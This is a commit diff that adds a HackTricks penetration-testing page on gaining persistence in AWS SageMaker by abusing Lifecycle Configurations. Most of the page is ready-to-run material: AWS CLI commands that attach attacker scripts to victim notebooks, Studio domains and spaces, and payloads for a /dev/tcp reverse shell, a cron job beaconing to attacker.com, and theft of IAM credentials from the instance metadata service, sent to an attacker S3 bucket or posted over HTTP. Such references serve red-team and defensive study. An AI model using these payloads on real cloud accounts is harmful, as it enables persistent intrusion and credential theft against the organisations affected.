Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud

Author: carlospolop

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -0,0 +1,159 @@
+
+# AWS - SageMaker Lifecycle Configuration Persistence
+
+## Overview of Persistence Techniques
+
+This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. These scripts run with the instance’s IAM role and can persist across restarts. Most techniques require outbound network access, but usage of services on the AWS control plane can still allow success if the environment is in 'VPC-only" mode.
+#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
+
+## Required Permissions
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio Applications:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+
+
+## Set Lifecycle Configuration on Notebook Instances
+
+### Example AWS CLI Commands:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+
+## Set Lifecycle Configuration on SageMaker Studio
+
+Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
+
+### Studio Domain Level (All Users)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+    "JupyterServerAppSettings": {
+        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+    }
+}'
+```
+### Studio Space Level (Individual or Shared Spaces)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+    "JupyterServerAppSettings": {
+        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+    }
+}'
+```
+## Types of Studio Application Lifecycle Configurations
+
+Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
+* JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs.
+* KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access.
+* CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions.
+
+### Example Command for Each Type:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### CodeEditor
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Critical Info:
+* Attaching LCCs at the domain or space level impacts all users or applications within scope.
+* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
+* Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration.
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```